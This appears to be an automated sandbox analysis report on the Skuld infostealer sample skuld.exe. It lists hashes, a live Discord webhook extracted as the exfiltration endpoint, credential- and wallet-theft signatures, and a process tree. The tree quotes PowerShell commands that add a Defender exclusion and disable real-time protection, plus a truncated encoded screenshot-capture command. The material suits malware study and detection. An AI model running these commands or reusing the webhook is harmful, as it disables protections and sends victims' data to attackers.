Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
17/10/2024, 02:43
Behavioral task
behavioral1
Sample
skuld.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
skuld.exe
Resource
win10v2004-20241007-en
General
- Target skuld.exe
- Size 9.8MB
- Sample241017-c7lexsyclc
- SHA256 9a567e4744768e1e1acfd90020843a40d22ed677187459f34c7c77b0db5db508
- MD5 6cbfaf66c25b2255b6f28e12915c774d
- SHA1 11caa7a9f6bbfa96fba46aec5161db44b9e18961
- SHA512 7ce5c70e5c9344da2b788a7d1a410883afdbe28b3ef17c4dd509baf0071ccc72e27407bce88ae91fe40316097e9a70e08c1a24e132d237dea2f5d5716ada7c36
- SSDEEP 98304:xdQrygchMRKooE0qqWdS5ELg3ZKEGTiBJZrZ6f/fLhQcR:xKMhMR4Nb5ELgJXPO/fLT
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
skuld
-
https://discord.com/api/webhooks/1296301282251903037/WshT7A7pEu0AhyXLLTc0qGgKZbqZAIGAaYjzCFnVn9Q2bLinclJ4010EZGBBtfZKzDlG
Signatures
-
pid Process 4116 powershell.exe 2532 powershell.exe - Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe File opened for modification C:\Windows\System32\drivers\etc\hosts skuld.exe File opened for modification C:\Windows\System32\drivers\etc\hosts attrib.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe" skuld.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 2 discord.com 5 discord.com - Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 skuld.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 skuld.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 2532 powershell.exe 3936 skuld.exe 3936 skuld.exe 2532 powershell.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 4116 powershell.exe 3936 skuld.exe 3936 skuld.exe 1864 powershell.exe 4116 powershell.exe 3936 skuld.exe 3936 skuld.exe 1864 powershell.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe 3936 skuld.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3936 skuld.exe Token: SeIncreaseQuotaPrivilege 2808 wmic.exe Token: SeSecurityPrivilege 2808 wmic.exe Token: SeTakeOwnershipPrivilege 2808 wmic.exe Token: SeLoadDriverPrivilege 2808 wmic.exe Token: SeSystemProfilePrivilege 2808 wmic.exe Token: SeSystemtimePrivilege 2808 wmic.exe Token: SeProfSingleProcessPrivilege 2808 wmic.exe Token: SeIncBasePriorityPrivilege 2808 wmic.exe Token: SeCreatePagefilePrivilege 2808 wmic.exe Token: SeBackupPrivilege 2808 wmic.exe Token: SeRestorePrivilege 2808 wmic.exe Token: SeShutdownPrivilege 2808 wmic.exe Token: SeDebugPrivilege 2808 wmic.exe Token: SeSystemEnvironmentPrivilege 2808 wmic.exe Token: SeRemoteShutdownPrivilege 2808 wmic.exe Token: SeUndockPrivilege 2808 wmic.exe Token: SeManageVolumePrivilege 2808 wmic.exe Token: 33 2808 wmic.exe Token: 34 2808 wmic.exe Token: 35 2808 wmic.exe Token: 36 2808 wmic.exe Token: SeIncreaseQuotaPrivilege 2808 wmic.exe Token: SeSecurityPrivilege 2808 wmic.exe Token: SeTakeOwnershipPrivilege 2808 wmic.exe Token: SeLoadDriverPrivilege 2808 wmic.exe Token: SeSystemProfilePrivilege 2808 wmic.exe Token: SeSystemtimePrivilege 2808 wmic.exe Token: SeProfSingleProcessPrivilege 2808 wmic.exe Token: SeIncBasePriorityPrivilege 2808 wmic.exe Token: SeCreatePagefilePrivilege 2808 wmic.exe Token: SeBackupPrivilege 2808 wmic.exe Token: SeRestorePrivilege 2808 wmic.exe Token: SeShutdownPrivilege 2808 wmic.exe Token: SeDebugPrivilege 2808 wmic.exe Token: SeSystemEnvironmentPrivilege 2808 wmic.exe Token: SeRemoteShutdownPrivilege 2808 wmic.exe Token: SeUndockPrivilege 2808 wmic.exe Token: SeManageVolumePrivilege 2808 wmic.exe Token: 33 2808 wmic.exe Token: 34 2808 wmic.exe Token: 35 2808 wmic.exe Token: 36 2808 wmic.exe Token: SeDebugPrivilege 2532 powershell.exe Token: SeIncreaseQuotaPrivilege 324 wmic.exe Token: SeSecurityPrivilege 324 wmic.exe Token: SeTakeOwnershipPrivilege 324 wmic.exe Token: SeLoadDriverPrivilege 324 wmic.exe Token: SeSystemProfilePrivilege 324 wmic.exe Token: SeSystemtimePrivilege 324 wmic.exe Token: SeProfSingleProcessPrivilege 324 wmic.exe Token: SeIncBasePriorityPrivilege 324 wmic.exe Token: SeCreatePagefilePrivilege 324 wmic.exe Token: SeBackupPrivilege 324 wmic.exe Token: SeRestorePrivilege 324 wmic.exe Token: SeShutdownPrivilege 324 wmic.exe Token: SeDebugPrivilege 324 wmic.exe Token: SeSystemEnvironmentPrivilege 324 wmic.exe Token: SeRemoteShutdownPrivilege 324 wmic.exe Token: SeUndockPrivilege 324 wmic.exe Token: SeManageVolumePrivilege 324 wmic.exe Token: 33 324 wmic.exe Token: 34 324 wmic.exe Token: 35 324 wmic.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3936 wrote to memory of 2348 3936 skuld.exe 84 PID 3936 wrote to memory of 2348 3936 skuld.exe 84 PID 3936 wrote to memory of 2808 3936 skuld.exe 86 PID 3936 wrote to memory of 2808 3936 skuld.exe 86 PID 3936 wrote to memory of 2532 3936 skuld.exe 88 PID 3936 wrote to memory of 2532 3936 skuld.exe 88 PID 3936 wrote to memory of 4428 3936 skuld.exe 91 PID 3936 wrote to memory of 4428 3936 skuld.exe 91 PID 3936 wrote to memory of 324 3936 skuld.exe 93 PID 3936 wrote to memory of 324 3936 skuld.exe 93 PID 3936 wrote to memory of 4116 3936 skuld.exe 95 PID 3936 wrote to memory of 4116 3936 skuld.exe 95 PID 3936 wrote to memory of 1864 3936 skuld.exe 97 PID 3936 wrote to memory of 1864 3936 skuld.exe 97 PID 1864 wrote to memory of 4556 1864 powershell.exe 99 PID 1864 wrote to memory of 4556 1864 powershell.exe 99 PID 3936 wrote to memory of 3692 3936 skuld.exe 100 PID 3936 wrote to memory of 3692 3936 skuld.exe 100 PID 3936 wrote to memory of 1848 3936 skuld.exe 102 PID 3936 wrote to memory of 1848 3936 skuld.exe 102 PID 4556 wrote to memory of 644 4556 csc.exe 104 PID 4556 wrote to memory of 644 4556 csc.exe 104 - Views/modifies file attributes 1 TTPs 4 IoCs
pid Process 4428 attrib.exe 3692 attrib.exe 1848 attrib.exe 2348 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\skuld.exe"C:\Users\Admin\AppData\Local\Temp\skuld.exe"1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Views/modifies file attributes
PID:2348
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C:\Windows\System32\Wbem\wmic.exewmic cpu get Name2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2808
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2532
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C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe2⤵
- Views/modifies file attributes
PID:4428
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C:\Windows\System32\Wbem\wmic.exewmic os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:324
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4116
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcw